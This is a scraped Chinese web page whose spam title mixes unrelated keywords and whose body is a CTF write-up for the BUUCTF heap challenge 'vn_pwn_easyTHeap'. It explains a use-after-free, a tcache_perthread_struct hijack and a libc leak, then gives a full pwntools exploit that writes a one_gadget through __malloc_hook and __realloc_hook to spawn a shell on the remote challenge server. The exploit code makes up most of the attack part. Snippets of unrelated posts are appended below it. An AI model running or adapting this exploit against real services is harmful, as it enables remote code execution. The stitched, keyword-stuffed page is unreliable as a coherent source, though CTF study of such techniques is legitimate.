展示型的网站开发价格月夜直播在线观看视频免费播放

张小明 2026/1/13 21:43:51
展示型的网站开发价格,月夜直播在线观看视频免费播放,网站开发公司地址,网页设计与制作教程课后题答案因为本机是ubuntu22所以先把libc依赖改回2.27 IDA分析main函数这里有个alarm时间限制目录安全写这是一个添加chunk#xff0c;但是这里面只能有7个chunk#xff0c;所以不能用普通的把tcache填满放入unsoredbin从来算libc这是编辑read(0, (void *)s_[n6], s__0[n6]) - 从标准…因为本机是ubuntu22所以先把libc依赖改回2.27IDA分析main函数这里有个alarm时间限制目录安全写这是一个添加chunk但是这里面只能有7个chunk所以不能用普通的把tcache填满放入unsoredbin从来算libc这是编辑read(0, (void *)s_[n6], s__0[n6]) - 从标准输入读取数据到 s_[n6] 指向的内存这是打印数据存在UAF漏洞free((void*)s_[n6]);s_[n6]NULL;//关键将指针置为NULL s__0[n6]0;释放内存free((void *)s_[n6]) 释放了指定索引的内存块指针未清空虽然设置了 s__0[n6] 0可能是长度字段但 s_[n6] 指针本身没有被置为 NULL0x000000000202060s__00x000000000202080s_由于我们不能使用之前把tcache填满来算libc的方法但是我们可以去修改tcache_perthread_struct该源码如下#glibc-malloc源码中的第2902-2921行/*We overlay this structure on the user-data portion of a chunk when the chunkisstoredinthe per-thread cache.*/typedef struct tcache_entry{struct tcache_entry*next;//指向的下一个chunk的next字段}tcache_entry;/*Thereisone of theseforeach thread,which contains the per-thread cache(hencetcache_perthread_struct).Keeping overall size lowismildly important.Note that COUNTSandENTRIES are redundant(we could have just counted the linkedlisteach time),thisisforperformance reasons.*/typedef struct tcache_perthread_struct{char counts[TCACHE_MAX_BINS];//数组长度64每个元素最大为0x7仅占用一个字节对应64个tcache链表 tcache_entry*entries[TCACHE_MAX_BINS];//entries指针数组对应64个tcache链表cachebin中最大为0x400字节//每一个指针指向的是对应tcache_entry结构体的地址。}tcache_perthread_struct;static __threadbooltcache_shutting_downfalse;static __thread tcache_perthread_struct*tcacheNULL;根据程序写出自动化脚本frompwnimport*libdir/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64ldlibdir/ld-2.27.so# 动态链接器路径vn_path./vn_pwn_easyTHeap# 可执行文件路径已用 xclibc 处理过的副本# 使用目标 glibc 的 ld 启动程序不要使用 LD_PRELOAD 整个 libcpprocess([ld,--library-path,libdir,vn_path])elfELF(vn_path)libcELF(libdir/libc-2.27.so)defdebug():gdb.attach(p)pause()defadd(size):p.sendlineafter(bchoice: ,b1)p.sendlineafter(bsize?,str(size).encode())defedit(index,content):p.sendlineafter(bchoice: ,b2)p.sendlineafter(bidx?,str(index).encode())p.sendlineafter(bcontent:,content)defshow(index):p.sendlineafter(bchoice: ,b3)p.sendlineafter(bidx?,str(index).encode())deffree(index):p.sendlineafter(bchoice: ,b4)p.sendlineafter(bidx?,str(index).encode())先add一个看看add(0x50)#0add成功现在利用uaf把heap地址打印出来free(0)free(0)现在可以直接用show打印出来heap的地址show(0)heap_leaku64(p.recvline().strip().ljust(8,b\x00))log.info(heap_leakhex(heap_leak))打印成功现在把fd指针改到tcache_perthread_struct申请出他的地址先申请回来一个chunkoffset0x00007ffff7e2a260-0x7ffff7e2a000-0x10add(0x50)#1这时候chunk0 和 chunk1是重合一个的现在去edit它的fd指针edit(1,p64(heap_leak-offset))现在把tcache_perthread_struct申请出来add(0x50)下一个就是tcache_perthread_structadd(0x50)tcachebins中的0x60链的数目变为-10xff。由于它是无符号的因此负数将被解释为一个较大的正数在这种情况下可能是0xff这将使该tcache bin似乎已满。这将阻止我们进行tcache_poisoning。这里看着不明显可以用我们之前的.data的指针看看图中白色地方的数据就是free_count和malloc_count确实是3个这时候修改tcache_perthread_structedit(3,ba*0x28)可以看到tcache里面的bin都满了现在delete 3free(3)这时候打印出来的值肯定就是0x00007ffff77ebca0根据上面vmmap的内容可以知道LEGEND:STACK|HEAP|CODE|DATA|WX|RODATA Start End Perm Size Offset File0x7ffff74000000x7ffff75e7000r-xp1e70000/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.sooffset20x3ebca0show(3)libc_baseu64(p.recvline().strip().ljust(8,b\x00))-offset2 log.info(libc_basehex(libc_base))现在去看看哪里有条件可以伪造chunk这里受次数限制我们不能写入free_hookchecksec查看可以看到Full RELRO保护开启无法写入函数的got表malloc函数的参数又是我们自己写入的无法写入’/bin/sh’字符串所以我们只能向malloc_hook中写入one_gadget地址但是这里将可用的one_gadget全部尝试后发现均不满足条件于是我们必须利用realloc_hook通过libc中realloc函数前一系列的抬栈操作来满足one_gadget可以使用的条件看到这个这个地址就是__malloc_hook-0x13onegad[0x4f35e,0x4f365,0x4f3c2,0x10a45c]现在先伪造chunkmalloclibc_baselibc.sym[__malloc_hook]realloclibc_baselibc.sym[__libc_realloc]add(0x50)#4这个申请的chunk和tcache_perthread_struct重合edit(4,ba*0x48p64(malloc-0x13))这时候如果申请0x30大小的chunk就会申请到malloc-0x13这个地址add(0x20)可以知道edit的时候数据是从0x7ffff77ebc1d写oneonegad[2]libc_base edit(5,ba*(0x13-0x8)p64(one)p64(realloc8))0x7ffff77ebc1d:0x61616161616161610xfff744f3c26161610x7ffff77ebc2d__realloc_hook5:0xfff7498ca800007f0x000000000a00007f换个视角看0x7ffff77ebc20__memalign_hook:0x61616161616161610x00007ffff744f3c2#one_gad0x7ffff77ebc30__malloc_hook:0x00007ffff7498ca8#relloc 0x000000000000000a现在只要申请一下chunk就可以getshell连接靶机这里本地和靶机有差异从BUUCTF里面下载他们的libc-2.27.so测试出0x10a38c可以EXPfrompwnimport*libdir/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64ldlibdir/ld-2.27.so# 动态链接器路径vn_path./vn_pwn_easyTHeap# 可执行文件路径已用 xclibc 处理过的副本# 使用目标 glibc 的 ld 启动程序不要使用 LD_PRELOAD 整个 libc#p process([ld, --library-path, libdir, vn_path])premote(node5.buuoj.cn,28244)elfELF(vn_path)libcELF(libdir/libc-2.27.so)defdebug():gdb.attach(p)pause()defadd(size):p.sendlineafter(bchoice: ,b1)p.sendlineafter(bsize?,str(size).encode())defedit(index,content):p.sendlineafter(bchoice: ,b2)p.sendlineafter(bidx?,str(index).encode())p.sendlineafter(bcontent:,content)defshow(index):p.sendlineafter(bchoice: ,b3)p.sendlineafter(bidx?,str(index).encode())deffree(index):p.sendlineafter(bchoice: ,b4)p.sendlineafter(bidx?,str(index).encode())add(0x50)#0free(0)free(0)show(0)heap_leaku64(p.recvline().strip().ljust(8,b\x00))log.info(heap_leakhex(heap_leak))offset0x00007ffff7e2a260-0x7ffff7e2a000-0x10add(0x50)#1edit(1,p64(heap_leak-offset))add(0x50)#2add(0x50)#3edit(3,ba*0x28)free(3)offset20x3ebca0show(3)libc_baseu64(p.recvline().strip().ljust(8,b\x00))-offset2 log.info(libc_basehex(libc_base))onegad[0x4f35e,0x4f365,0x4f3c2,0x10a45c]malloclibc_baselibc.sym[__malloc_hook]realloclibc_baselibc.sym[__libc_realloc]add(0x50)#4edit(4,ba*0x48p64(malloc-0x13))add(0x20)#5#one onegad[2] libc_baseone0x10a38clibc_base edit(5,ba*(0x13-0x8)p64(one)p64(realloc8))add(0x10)#debug()p.interactive()
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

新乡做企业网站的公司有没有专业做网站的

动漫商城 目录 基于springboot vue动漫商城系统 一、前言 二、系统功能演示 三、技术选型 四、其他项目参考 五、代码参考 六、测试参考 七、最新计算机毕设选题推荐 八、源码获取: 基于springboot vue动漫商城系统 一、前言 博主介绍:✌️大…

张小明 2026/1/14 9:21:34 网站建设

多模室内设计网站房地产开发公司取名

demo5 第五关网上找了很多,但是发现关于这一个版本的demo去除教程是一点没有,而且我也找不到原始的demo无法做到IO重定向。所以我也就直接通过jadx分析软件的java代码查找签名校验函数逻辑,然后通过NP管理器打开dex文件修改对应的smail代码&a…

张小明 2026/1/10 19:13:58 网站建设

网站后台管理员密码建筑模拟3中文版下载

上一篇,我们从内核视角揭开了进程的神秘面纱,知道了它的本质是 PCB 代码与数据。今天,我们将深入探讨进程的生命周期:一个进程是如何从诞生走向消亡的?它会经历哪些状态?fork() 如何像细胞分裂一样创造新生…

张小明 2026/1/10 19:13:56 网站建设

电商学院建设设计网站wordpress安装 打不开

高效多任务助手:AlwaysOnTop窗口置顶工具完全指南 【免费下载链接】AlwaysOnTop Make a Windows application always run on top 项目地址: https://gitcode.com/gh_mirrors/al/AlwaysOnTop 还在为频繁切换窗口而烦恼吗?AlwaysOnTop这款轻量级Win…

张小明 2026/1/10 19:13:53 网站建设

微软做网站网站开发就业薪酬

你是否曾经在寻找一款既美观又实用的手绘风格绘图工具?ExcalidrawZ正是你需要的答案!这款基于SwiftUI开发的Mac应用,将Excalidraw的优秀基因与本地化体验完美结合,让你在享受手绘艺术的同时,还能体验到高效的协作绘图功…

张小明 2026/1/10 19:13:51 网站建设

甘肃手机网站建设wordpress面包屑标签

OpenPi机器人AI开源模型完整攻略:从零构建智能控制系统 【免费下载链接】openpi 项目地址: https://gitcode.com/GitHub_Trending/op/openpi 在机器人技术快速发展的今天,Physical Intelligence团队推出的openpi项目为开发者提供了一个强大的开源…

张小明 2026/1/10 20:38:35 网站建设